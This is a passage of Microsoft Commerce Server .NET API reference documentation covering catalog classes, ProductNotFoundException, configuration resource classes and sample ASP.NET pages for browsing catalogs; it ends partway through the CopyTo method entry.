Assembly: Microsoft.CommerceServer.Runtime.dll


ProductCatalog Properties (BCL)

Public Instance Properties

Property | Description
ActiveLanguage | Gets the language in which data returned by this catalog object should be returned.
CatalogContext | Gets the CatalogContext object that was used to create this ProductCatalog object.
DebugContext | Gets the DebugContext object for the CatalogContext object that was used to create this ProductCatalog object.
DefaultLanguage | Gets the default language for this catalog.
IdentifyingProductProperty | Gets the name of the property that identifies products in this catalog.
IdentifyingVariantProperty | Gets the name of the property that identifies variants in this catalog.
Languages | Gets all of the available languages for this catalog as an array of strings.
Name | Gets the name of the catalog.
PropertyNames | Gets the names of all properties defined for the catalog.
SpecificationSearchableCategories | Gets the list of property names for properties that are searchable by the SpecificationSearch objects.


ProductCatalog.ActiveLanguage Property (BCL)

The ActiveLanguage property gets the language in which the data returned by this catalog object should be returned.

Definition

[Visual Basic .NET]
Overridable Public Property ActiveLanguage As System.String
[C#]
public virtual System.String ActiveLanguage {get; set;}

Property Value

Language in which in which data returned by this catalog object should be returned.

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Catalog

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


ProductCatalog.CatalogContext Property (BCL)

The CatalogContext property gets the CatalogContext object that was used to create this ProductCatalog object.

Definition

[Visual Basic .NET]
Public ReadOnly Property CatalogContext As CatalogContext
[C#]
public CatalogContext CatalogContext {get;}

Property Value

CatalogContext object that was used to create this ProductCatalog object.

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Catalog

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


ProductCatalog.DebugContext Property (BCL)

The DebugContext property gets the DebugContext object for the CatalogContext object that was used to create this ProductCatalog object.

Definition

[Visual Basic .NET]
Public ReadOnly Property DebugContext As DebugContext
[C#]
public DebugContext DebugContext {get;}

Property Value

The DebugContext object for the CatalogContext object that was used to create this ProductCatalog object.

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Catalog

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


ProductCatalog.DefaultLanguage Property (BCL)

The DefaultLanguage property gets the default language for this catalog.

Definition

[Visual Basic .NET]
Overridable Public ReadOnly Property DefaultLanguage As System.String
[C#]
public virtual System.String DefaultLanguage {get;}

Property Value

The default language for this catalog.

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Catalog

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


ProductCatalog.IdentifyingProductProperty Property (BCL)

The IdentifyingProductProperty property gets the name of the property that identifies products in this catalog.

Definition

[Visual Basic .NET]
Overridable Public ReadOnly Property IdentifyingProductProperty As System.String
[C#]
public virtual System.String IdentifyingProductProperty {get;}

Property Value

The name of the property that identifies products in this catalog.

Remarks

This data is cached. To refresh it, call the CatalogContext.Refresh method explicitly.

Throws a CatalogException on failure. This method caches the retrieved property.

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Catalog

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


ProductCatalog.IdentifyingVariantProperty Property (BCL)

The IdentifyingVariantProperty property gets the name of the property that identifies variants in this catalog .

Definition

[Visual Basic .NET]
Overridable Public ReadOnly Property IdentifyingVariantProperty As System.String
[C#]
public virtual System.String IdentifyingVariantProperty {get;}

Property Value

The name of the property that identifies variants in this catalog .

Remarks

This data is cached. To refresh it, call the CatalogContext.Refresh method explicitly.

Throws a CatalogException on failure. Internally this uses the IProductCatalog3::IdentifyingVariantProperty method. This method caches the retrieved property.

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Catalog

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


ProductCatalog.Languages Property (BCL)

The Languages property gets all of the available languages for this catalog as an array of strings.

Definition

[Visual Basic .NET]
Overridable Public ReadOnly Property Languages As ReadOnlyStringCollection
[C#]
public virtual ReadOnlyStringCollection Languages {get;}

Property Value

Contains all of the available languages for this catalog as an array of strings.

Remarks

The list of languages is cached. To refresh it, call the CatalogContext.Refresh method explicitly.

Throws a CatalogException on failure.

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Catalog

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


ProductCatalog.Name Property (BCL)

The Name property gets the name of the catalog.

Definition

[Visual Basic .NET]
Public ReadOnly Property Name As System.String
[C#]
public System.String Name {get;}

Property Value

String containing name of the catalog.

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Catalog

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


ProductCatalog.PropertyNames Property (BCL)

The PropertyNames property gets the names of all properties defined for the catalog.

Definition

[Visual Basic .NET]
Overridable Public ReadOnly Property PropertyNames As ReadOnlyStringCollection
[C#]
public virtual ReadOnlyStringCollection PropertyNames {get;}

Property Value

ReadOnlyStringCollection containing all the names of all properties defined for the catalog.

Remarks

This data is cached. To refresh it, call the CatalogContext.Refresh method explicitly.

Throws a CatalogException on failure. This method caches the retrieved property.

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Catalog

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


ProductCatalog.SpecificationSearchableCategories Property (BCL)

The SpecificationSearchableCategories property gets the list of property names for properties that are searchable by the SpecificationSearch objects.

Definition

[Visual Basic .NET]
Overridable Public ReadOnly Property SpecificationSearchableCategories As ReadOnlyStringCollection
[C#]
public virtual ReadOnlyStringCollection SpecificationSearchableCategories {get;}

Property Value

ReadOnlyStringCollection containing the list of property names for properties that are searchable by the SpecificationSearch objects.

Remarks

This data is cached. To refresh it, call the CatalogContext.Refresh method explicitly.

This method caches the list of specification searchable categories.

Throws a CatalogException on failure.

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Catalog

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


ProductNotFoundException Class (BCL)

Exception of type ProductNotFoundException.

Public Instance Constructor

Constructor | Description
ProductNotFoundException Constructor | Creates a new instance of the ProductNotFoundException class.
ProductNotFoundException Constructor(String) | Creates a new instance of the ProductNotFoundException class with the specified message.
ProductNotFoundException Constructor(String, Exception) | Creates a new instance of the ProductNotFoundException class with the specified message and inner exception.
ProductNotFoundException Constructor(String, Object) | Creates a new instance of the ProductNotFoundException class with the specified catalog name and product ID.

Protected Instance Constructor

Constructor | Description
ProductNotFoundException Constructor (SerializationInfo, StreamingContext) | Creates a new instance of the ProductNotFoundException class with the specified serialization information and streaming context.

Public Instance Methods

Method | Description
GetBaseException (Inherited from System.Exception) | Refer to the .NET Framework SDK documentation for the System.Exception class.
GetObjectData (SerializationInfo, StreamingContext) | Sets the SerializationInfo object with information about the exception.
ToString (Inherited from System.Exception) | Refer to the .NET Framework SDK documentation for the System.Exception class.

Public Instance Properties

Property | Description
CatalogName | Gets the CatalogName.
HelpLink (Inherited from System.Exception) | Refer to the .NET Framework SDK documentation for the System.Exception class.
InnerException (Inherited from System.Exception) | Refer to the .NET Framework SDK documentation for the System.Exception class.
Message (Inherited from System.Exception) | Refer to the .NET Framework SDK documentation for the System.Exception class.
ProductId | Gets the ProductId.
Source (Inherited from System.Exception) | Refer to the .NET Framework SDK documentation for the System.Exception class.
StackTrace (Inherited from System.Exception) | Refer to the .NET Framework SDK documentation for the System.Exception class.
TargetSite (Inherited from System.Exception) | Refer to the .NET Framework SDK documentation for the System.Exception class.

Protected Instance Properties

Property | Description
HResult (Inherited from System.Exception) | Refer to the .NET Framework SDK documentation for the System.Exception class.

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Catalog

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


ProductNotFoundException Constructor (BCL)

Public Instance Constructor

Constructor | Description
ProductNotFoundException Constructor | Creates a new instance of the ProductNotFoundException class.
ProductNotFoundException Constructor(String) | Creates a new instance of the ProductNotFoundException class with the specified message.
ProductNotFoundException Constructor(String, Exception) | Creates a new instance of the ProductNotFoundException class with the specified message and inner exception.
ProductNotFoundException Constructor(String, Object) | Creates a new instance of the ProductNotFoundException class with the specified catalog name and product ID.

Protected Instance Constructor

Constructor | Description
ProductNotFoundException Constructor (SerializationInfo, StreamingContext) | Creates a new instance of the ProductNotFoundException class with the specified serialization information and streaming context.


ProductNotFoundException Constructor (BCL)

Use this method to create a new instance of the ProductNotFoundException class.

Definition

[Visual Basic .NET]
Public Sub New( _
)
[C#]
public ProductNotFoundException(
);

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Catalog

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


ProductNotFoundException Constructor (SerializationInfo, StreamingContext) (BCL)

Use this method to create a new instance of the ProductNotFoundException class with the specified serialization information and streaming context.

Definition

[Visual Basic .NET]
Protected Sub New( _
  ByVal serializationInfo As System.Runtime.Serialization.SerializationInfo, _
  ByVal streamingContext As System.Runtime.Serialization.StreamingContext _
)
[C#]
protected ProductNotFoundException(
  System.Runtime.Serialization.SerializationInfo serializationInfo,
  System.Runtime.Serialization.StreamingContext streamingContext
);

Parameters

[Visual Basic .NET]
serializationInfo
The serialization info.
streamingContext
The streaming context.
[C#]
serializationInfo
The serialization info.
streamingContext
The streaming context.

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Catalog

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


ProductNotFoundException Constructor (String) (BCL)

Use this method to create a new instance of the ProductNotFoundException class with the specified message.

Definition

[Visual Basic .NET]
Public Sub New( _
  ByVal message As System.String _
)
[C#]
public ProductNotFoundException(
  System.String message
);

Parameters

[Visual Basic .NET]
message
A System.String containing the message to include in the ProductNotFoundException object.
[C#]
message
A System.String containing the message to include in the ProductNotFoundException object.

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Catalog

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


ProductNotFoundException Constructor (String, Exception) (BCL)

Use this method to create a new instance of the ProductNotFoundException object with the specified message and inner exception.

Definition

[Visual Basic .NET]
Public Sub New( _
  ByVal message As System.String, _
  ByVal inner As System.Exception _
)
[C#]
public ProductNotFoundSystem.Exception(
  System.String message,
  System.Exception inner
);

Parameters

[Visual Basic .NET]
message
A System.String containing the message to include in the ProductNotFoundException object.
inner
The inner System.Exception object.
[C#]
message
A System.String containing the message to include in the ProductNotFoundException object.
inner
The inner System.Exception object.

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Catalog

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


ProductNotFoundException Constructor (String, Object) (BCL)

Use this method to create a new instance of the ProductNotFoundException class with the specified catalog name and product ID.

Definition

[Visual Basic .NET]
Public Sub New( _
  ByVal catalogName As System.String, _
  ByVal productId As System.Object _
)
[C#]
public ProductNotFoundException(
  System.String catalogName,
  System.Object productId
);

Parameters

[Visual Basic .NET]
catalogName
A System.String that contains the catalog name.
productId
The ProductId object.
[C#]
catalogName
A System.String that contains the catalog name.
productId
The ProductId object.

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Catalog

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


ProductNotFoundException Methods (BCL)

Public Instance Methods

Method | Description
GetBaseException (Inherited from System.Exception) | Refer to the .NET Framework SDK documentation for the System.Exception class.
GetObjectData (SerializationInfo, StreamingContext) | Sets the SerializationInfo object with information about the exception.
ToString (Inherited from System.Exception) | Refer to the .NET Framework SDK documentation for the System.Exception class.


ProductNotFoundException.GetObjectData (SerializationInfo, StreamingContext) Method (BCL)

Use this method set the SerializationInfo object with information about the exception.

[Visual Basic .NET]
Overrides Public Sub GetObjectData( _
  ByVal info As System.Runtime.Serialization.SerializationInfo, _
  ByVal context As System.Runtime.Serialization.StreamingContext _
)
[C#]
public override void GetObjectData(
  ByVal info As System.Runtime.Serialization.SerializationInfo, _
  ByVal context As System.Runtime.Serialization.StreamingContext _
);

Parameters

[Visual Basic .NET]
info
The Serialization object that holds the serialized object data about the exception being thrown.
context
The StreamingContext object that contains contextual information about the source or destination.
[C#]
info
The Serialization object that holds the serialized object data about the exception being thrown.
context
The StreamingContext object that contains contextual information about the source or destination.

Implements

System.Runtime.ISerializable

Remarks

The GetObjectData method sets the SerializationInfo object with all the exception object data targeted for serialization. During deserialization, the exception is reconstituted from the SerializationInfo object transmitted over the stream.

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Catalog

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


ProductNotFoundException Properties (BCL)

Public Instance Properties

Property | Description
CatalogName | Gets the CatalogName.
HelpLink (Inherited from System.Exception) | Refer to the .NET Framework SDK documentation for the System.Exception class.
InnerException (Inherited from System.Exception) | Refer to the .NET Framework SDK documentation for the System.Exception class.
Message (Inherited from System.Exception) | Refer to the .NET Framework SDK documentation for the System.Exception class.
ProductId | Gets the ProductId.
Source (Inherited from System.Exception) | Refer to the .NET Framework SDK documentation for the System.Exception class.
StackTrace (Inherited from System.Exception) | Refer to the .NET Framework SDK documentation for the System.Exception class.
TargetSite (Inherited from System.Exception) | Refer to the .NET Framework SDK documentation for the System.Exception class.

Protected Instance Properties

Property | Description
HResult (Inherited from System.Exception) | Refer to the .NET Framework SDK documentation for the System.Exception class.


ProductNotFoundException.CatalogName Property (BCL)

The CatalogName property gets the name of the catalog.

Definition

[Visual Basic .NET]
Public ReadOnly Property CatalogName As System.Object
[C#]
public System.Object CatalogName {get;}

Property Value

The CatalogName object.

Remarks

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Catalog

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


ProductNotFoundException.ProductId Property (BCL)

The ProductId property gets the product ID.

Definition

[Visual Basic .NET]
Public ReadOnly Property ProductId As System.Object
[C#]
public System.Object ProductId {get;}

Property Value

The ProductId object.

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Catalog

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


SpecificationSearchPropertyResult Class (BCL)

The this class represents the result for a property in a specification search. The specification search API's return arrays of these results as part of the specification search process. Each result object represents a property and all of the distinct values for that property.

Public Instance Constructor

Constructor | Description
SpecificationSearchPropertyResult Constructor(String, Object[]) | Creates a new instance of the SpecificationSearchPropertyResult class with the specified property name and values.

Public Instance Properties

Property | Description
Property | Gets the name of the property.
Values | Gets the possible values for the property as an array of objects.

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Catalog

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


SpecificationSearchPropertyResult Constructor (BCL)

Public Instance Constructor

Constructor | Description
SpecificationSearchPropertyResult Constructor(String, Object[]) | Creates a new instance of the SpecificationSearchPropertyResult class with the specified property name and values.


SpecificationSearchPropertyResult Constructor (String, Object[]) (BCL)

Use this method to create a new instance of the SpecificationSearchPropertyResult class with the specified property name and values.

Definition

[Visual Basic .NET]
Public Sub New( _
  ByVal property As System.String, _
  ByVal values As System.Object[] _
)
[C#]
public SpecificationSearchPropertyResult(
  System.String property,
  System.Object[] values
);

Parameters

[Visual Basic .NET]
property
A String containing the name of the property. May not be null.
values
An Object array containing the list of possible values. May not be null.
[C#]
property
A String containing the name of the property. May not be null.
values
An Object array containing the list of possible values. May not be null.

Remarks

Throws a new ArgumentNullException if either argument value is null

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Catalog

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


SpecificationSearchPropertyResult Properties (BCL)

Public Instance Properties

Property | Description
Property | Gets the name of the property.
Values | Gets the possible values for the property as an array of objects.


SpecificationSearchPropertyResult.Property Property (BCL)

The SpecificationSearchPropertyResult.Property property gets the name of the property.

Definition

[Visual Basic .NET]
Public ReadOnly Property Property As System.String
[C#]
public System.String Property {get;}

Property Value

A System.String containing the name of the property.

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Catalog

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


SpecificationSearchPropertyResult.Values Property (BCL)

The SpecificationSearchPropertyResult.Values property gets the possible values for the property as an array of objects.

Definition

[Visual Basic .NET]
Public ReadOnly Property Values As System.Object[]
[C#]
public System.Object[] Values {get;}

Property Value

A System.Object containing the possible values for the property.

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Catalog

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


Example Code for the Microsoft.CommerceServer.Catalog Namespace

Examples

Example | Description
Code to List Catalogs on an ASP.NET Web Form | Describes how to list catalogs on an ASP.NET Web form.
Code to Navigate Catalog Categories on an ASP.NET Web Form | Describes how to navigate through catalog categories on an ASP.NET Web form.
Code to Navigate Catalog Products on an ASP.NET Web Form | Describes how to navigate through catalog products on an ASP.NET Web form.

See Also

Microsoft.CommerceServer.Runtime.Catalog


Code to list catalogs on an ASP.NET Web form

Use the following code to list catalogs on an ASP.NET Web form.

<%@ Page Language="C#" %>
<%@ Import Namespace="Microsoft.CommerceServer.Runtime" %>
<%@ Import Namespace="Microsoft.CommerceServer.Runtime.Catalog" %>
<%@ Import Namespace="System.Data" %>

<script language="C#" runat="server">
    CatalogContext catalogCtx = CommerceContext.Current.CatalogSystem;

    void Page_Load(object source, EventArgs args) {
        if (!IsPostBack) {
            UpdateCatalogs();
        }
    }

    void ChangeCatalogBtn_Click(object source, EventArgs args) {
        SelectedCatalog.Text = @"You selected <b>" + CatalogListing.SelectedItem.Text + "</b>";
    }

    void UpdateCatalogs() {
        CatalogListing.DataSource = catalogCtx.CatalogNames;
        CatalogListing.DataBind();
    }

</script>

<html>
<head>
    <title>List Catalogs</title>
</head>
<body>

    <form runat="server">

        <asp:Label
            id="SelectedCatalog"
            Text="No catalog selected"
            runat="server"/><br/>

        <asp:DropDownList
            id="CatalogListing"
            runat="server"/>

        <asp:Button
            id="ChangeCatalogBtn"
            OnClick="ChangeCatalogBtn_Click"
            Text="OK"
            runat="server"/>

    </form>

</body>
</html>

See Also

CommerceContext Class (BCL)

Microsoft.CommerceServer.Runtime.Catalog


Code to navigate Catalog categories on an ASP.NET Web form

Use the following code to navigate through catalog categories on an ASP.NET Web form.

<%@ Page Language="C#" Trace="False" %>
<%@ Import Namespace="Microsoft.CommerceServer.Runtime" %>
<%@ Import Namespace="Microsoft.CommerceServer.Runtime.Catalog" %>
<%@ Import Namespace="System.Data" %>

<script language="C#" runat="server">
    CatalogContext catalogCtx = CommerceContext.Current.CatalogSystem;
    string catalogName = @"Adventure Works Catalog";

    void Page_Load(object source, EventArgs args) {
        if (!IsPostBack) {
            UpdateCategories();
        }
    }

    void RootCategoryListing_ItemCommand(object source, RepeaterCommandEventArgs args) {
        SelectedCategory.Text = @"You selected <b>" + args.CommandArgument + "</b>";
    }

    void UpdateCategories() {
        RootCategoryListing.DataSource = catalogCtx.GetCatalog(catalogName).GetRootCategories();
        RootCategoryListing.DataBind();
    }

</script>

<html>
<head>
    <title>List Categories</title>
</head>
<body>

    <form runat="server">

        <asp:Label
            id="SelectedCategory"
            Text="No category selected"
            runat="server"/><br/><br/>

        <asp:Repeater
            id="RootCategoryListing"
            OnItemCommand="RootCategoryListing_ItemCommand"
            runat="server">

            <HeaderTemplate>
                <h2>Categories:</h2>
            </HeaderTemplate>

            <ItemTemplate>

                <asp:LinkButton
                    id="SelectCategoryBtn"
                    CommandName="Select"
                    CommandArgument='<%# ((DataRowView)Container.DataItem)["CategoryName"] %>'
                    runat="server">

                    <%# DataBinder.Eval(Container.DataItem, "CategoryName") %>

                </asp:LinkButton>

            </ItemTemplate>

            <SeparatorTemplate>
                <p/>
            </SeparatorTemplate>

        </asp:Repeater>

    </form>

</body>
</html>

See Also

CommerceContext Class (BCL)

Microsoft.CommerceServer.Runtime.Catalog


Code to navigate Catalog products on an ASP.NET Web form

Use the following code to navigate through catalog products on an ASP.NET Web form.

<%@ Page Language="C#" Trace="False" %>
<%@ Import Namespace="Microsoft.CommerceServer.Runtime" %>
<%@ Import Namespace="Microsoft.CommerceServer.Runtime.Catalog" %>
<%@ Import Namespace="System.Data" %>

<script language="C#" runat="server">
    CatalogContext catalogCtx = CommerceContext.Current.CatalogSystem;
    string catalogName = @"Adventure Works Catalog";

    void Page_Load(object source, EventArgs args) {
        if (!IsPostBack) {
            UpdateCategories();
        }
    }

    void UpdateCategories() {
        RootCategoryListing.DataSource = catalogCtx.GetCatalog(catalogName).GetRootCategories();
        RootCategoryListing.DataBind();
    }

    void ProductListing_ItemCommand(object source, RepeaterCommandEventArgs args) {

        // The product id is set as part of the LinkButtons dynamically created
        // by the Repeater control.
        string productId = (string)args.CommandArgument;

        // Retrieve the details for the selected product from the Catalog
        // System.
        DataSet details =
            catalogCtx.GetCatalog(catalogName).GetProduct(productId).GetProductProperties();

        // The default row of the returned DataSet contains the product
        // details.
        DataRow product      = details.Tables[0].Rows[0];
        SelectedProduct.Text = @"You selected <b>" + (string)product["Name"] + "</b>";
        ProductID.Text       = @"Product ID: <b>" + (string)product["ProductID"] + "</b>" ;
        Desc.Text            = @"Description: <b>" + (string)product["Description"] + "</b>";
    }

    // This method is used by the nested Repeater controls used for iterating
    // through the available products in a particular category.
    DataSet GetProductListing(string category) {
        return catalogCtx.GetCatalog(catalogName).GetCategory(category).GetProducts();
    }

</script>

<html>
<head>
    <link rel="stylesheet" href="../util/style.css">
    <title>List Products</title>
</head>
<body>

    <form runat="server">

        <asp:Label
            id="SelectedProduct"
            Text="No product selected"
            runat="server"/><br/>

        <asp:Label
            id="ProductID"
            runat="server"/><br/>

        <asp:Label
            id="Desc"
            runat="server"/><br/>

        <asp:Repeater
            id="RootCategoryListing"
            runat="server">

            <HeaderTemplate>
                <h2>Categories:</h2>
            </HeaderTemplate>

            <ItemTemplate>
                <p>
                <b><%# (string)((DataRowView)Container.DataItem)["CategoryName"] %></b><br/>

                    <asp:Repeater
                        id="ProductListing"
                        OnItemCommand="ProductListing_ItemCommand"
                        DataSource='<%# GetProductListing((string)((DataRowView)Container.DataItem)["CategoryName"]) %>'
                        runat="server">

                        <ItemTemplate>

                            <asp:LinkButton
                                id="SelectProductBtn"
                                CommandName="Select"
                                CommandArgument='<%# ((DataRowView)Container.DataItem)["ProductID"] %>'
                                runat="server">

                                <%# (string)((DataRowView)Container.DataItem)["Name"] %>

                            </asp:LinkButton>

                        </ItemTemplate>

                        <SeparatorTemplate>
                            ,&nbsp;
                        </SeparatorTemplate>

                    </asp:Repeater>
                </p>
            </ItemTemplate>

            <SeparatorTemplate>
                <p/>
            </SeparatorTemplate>

        </asp:Repeater>

    </form>

</body>
</html>

See Also

CommerceContext Class (BCL)

Microsoft.CommerceServer.Runtime.Catalog


Microsoft.CommerceServer.Runtime.Configuration

The Microsoft.CommerceServer.Runtime.Configuration namespace contains the configuration section handlers for the Commerce Server .NET Application Framework.

Classes

Class | Description
CommerceResource | Represents the collection of configuration properties for a site resource.
CommerceResourceCollection | Represents the collection of site resources for a given site.

Examples

Example | Description
Code to Read a Resource Collection and Display Its Contents | Describes how to read a Commerce resource collection and display the contents.

See Also

Commerce Server .NET Application Framework Tutorial


CommerceResource Class (BCL)

Represents the collection of configuration properties for a site resource.

Public Instance Methods

Method | Description
GetEnumerator | Gets an enumerator for enumerating the property names of all the resource properties in the resource.

Public Instance Properties

Property | Description
Item(String) | Indexer to retrieve a resource property given the property name.
MajorVersion | Gets an Int32 representing the major version number of the resource. If the version number of the resource is 1.2.3, the MajorVersion property is 1.
MinorVersion | Gets an Int32 representing the minor version number of the resource. If the version number of the resource is 1.2.3, the MinorVersion property is 2.
Name | Gets the name of the resource.
Revision | Gets an Int32 representing the revision number of the resource. If the version number of the resource is 1.2.3, the Revision property is 3.

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Configuration

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


CommerceResource Methods (BCL)

Public Instance Methods

Method | Description
GetEnumerator | Gets an enumerator for enumerating the property names of all the resource properties in the resource.


CommerceResource.GetEnumerator Method (BCL)

Use this method to get an enumerator for enumerating the property names of all the resource properties in the resource.

Definition

[Visual Basic .NET]
Overridable Public Function GetEnumerator( _
) As System.Collections.IEnumerator
[C#]
public virtual System.Collections.IEnumerator GetEnumerator(
);

Return Value

An enumerator for enumerating the property names of all the resource properties in the resource.

Implements

System.Collections.IEnumerable

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Configuration

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


CommerceResource Properties (BCL)

Public Instance Properties

Property | Description
Item(String) | Indexer to retrieve a resource property given the property name.
MajorVersion | Gets an Int32 representing the major version number of the resource. If the version number of the resource is 1.2.3, the MajorVersion property is 1.
MinorVersion | Gets an Int32 representing the minor version number of the resource. If the version number of the resource is 1.2.3, the MinorVersion property is 2.
Name | Gets the name of the resource.
Revision | Gets an Int32 representing the revision number of the resource. If the version number of the resource is 1.2.3, the Revision is property 3.


CommerceResource.Item Property (BCL)

The Item property is a read-only object that retrieves a resource property for the given property name.

Definition

[Visual Basic .NET]
Public ReadOnly Property Item( _
  ByVal propertyName As System.String _
) As System.Object
[C#]
public System.Object Item(
  System.String propertyName
) {get;}

Parameters

[Visual Basic .NET]
propertyName
The name of the property whose value is retrieved.
[C#]
propertyName
The name of the property whose value is retrieved.

Property Value

The value of the propertyName parameter.

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Configuration

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


CommerceResource.MajorVersion Property (BCL)

The MajorVersion property is a read-only Int32 that represents the major version number of the resource. If the version number of the resource is 1.2.3, the MajorVersion property is 1.

Definition

[Visual Basic .NET]
Public ReadOnly Property MajorVersion( _
  ) As System.Int32
[C#]
public System.Int32 MajorVersion(
  ) {get;}

Property Value

An Int32 that represents the version number of the resource.

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Configuration

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


CommerceResource.MinorVersion Property (BCL)

The MinorVersion property is a read-only Int32 that represents the minor version number of the resource. If the version number of the resource is 1.2.3, the MinorVersion property is 2.

Definition

[Visual Basic .NET]
Public ReadOnly Property MinorVersion( _
  ) As System.Int32
[C#]
public System.Int32 MinorVersion(
  ) {get;}

Property Value

The Int32 that represents the minor version number of the resource.

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Configuration

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


CommerceResource.Name Property (BCL)

The Name property is a read-only String that contains the name of the resource.

Definition

[Visual Basic .NET]
Public ReadOnly Property Name As System.String
[C#]
public System.String Name {get;}

Property Value

The name of the resource.

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Configuration

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


CommerceResource.Revision Property (BCL)

The Revision property is a read-only Int32 that represents the revision number of the resource. If the revision number of the resource is 1.2.3, the Revision property is 3.

Definition

[Visual Basic .NET]
Public ReadOnly Property Revision( _
  ) As System.Int32
[C#]
public System.Int32 Revision(
  ) {get;}

Property Value

An Int32 that represents the revision number of the resource.

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Configuration

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


CommerceResourceCollection Class (BCL)

Represents the collection of site resources for a given site.

Public Instance Constructor

Constructor | Descriptions
CommerceResourceCollection Constructor(String) | Creates a new instance of the CommerceResourceCollection class for the specified site.

Public Instance Methods

Method | Description
CopyTo(Array, Int32) | Copies the resources to an array, starting at a particular array index.
GetEnumerator | Supports an iteration over the collection of resources.

Public Instance Properties

Property | Description
Count | Gets the number of elements contained in the collection.
IsSynchronized | Gets a value indicating whether access to the collection is synchronized. This implementation always returns False.
Item(String) | Indexer to allow for accessing a resource based on the resource name.
SyncRoot | Gets an object that can be used to synchronize access to the collection. This implementation always returns the current instance of the CommerceResourceCollection class.

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Configuration

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


CommerceResourceCollection Constructor (BCL)

Public Instance Constructor

Constructor | Descriptions
CommerceResourceCollection Constructor(String) | Creates a new instance of the CommerceResourceCollection class for the specified site.


CommerceResourceCollection Constructor (String) (BCL)

Use this method to create a new instance of the CommerceResourceCollection class for the specified site.

Definition

[Visual Basic .NET]
Public Sub New( _
  ByVal siteName As System.String _
)
[C#]
public CommerceResourceCollection(
  System.String siteName
);

Parameters

[Visual Basic .NET]
siteName
The name of the site for which to read resource configuration information. May not be null.
[C#]
siteName
The name of the site for which to read resource configuration information. May not be null.

Return Value

Throws an ArgumentNullException if the siteName parameter is null.

Remarks

Throws an ArgumentNullException if the catalogContext parameter is null.

Requirements

Namespace: Microsoft.CommerceServer.Runtime.Configuration

Platforms: Windows 2000, Windows .NET Server family

Assembly: Microsoft.CommerceServer.Runtime.dll


CommerceResourceCollection Methods (BCL)

Public Instance Methods

Method | Description
CopyTo(Array, Int32) | Copies the resources to an array, starting at a particular array index.
GetEnumerator | Supports an iteration over the collection of resources.


CommerceResourceCollection.CopyTo (Array, Int32) Method (BCL)

Use this method to copy resources to an array, starting at a particular array index.

Definition

[Visual Basic .NET]
Overridable Public Sub CopyTo( _
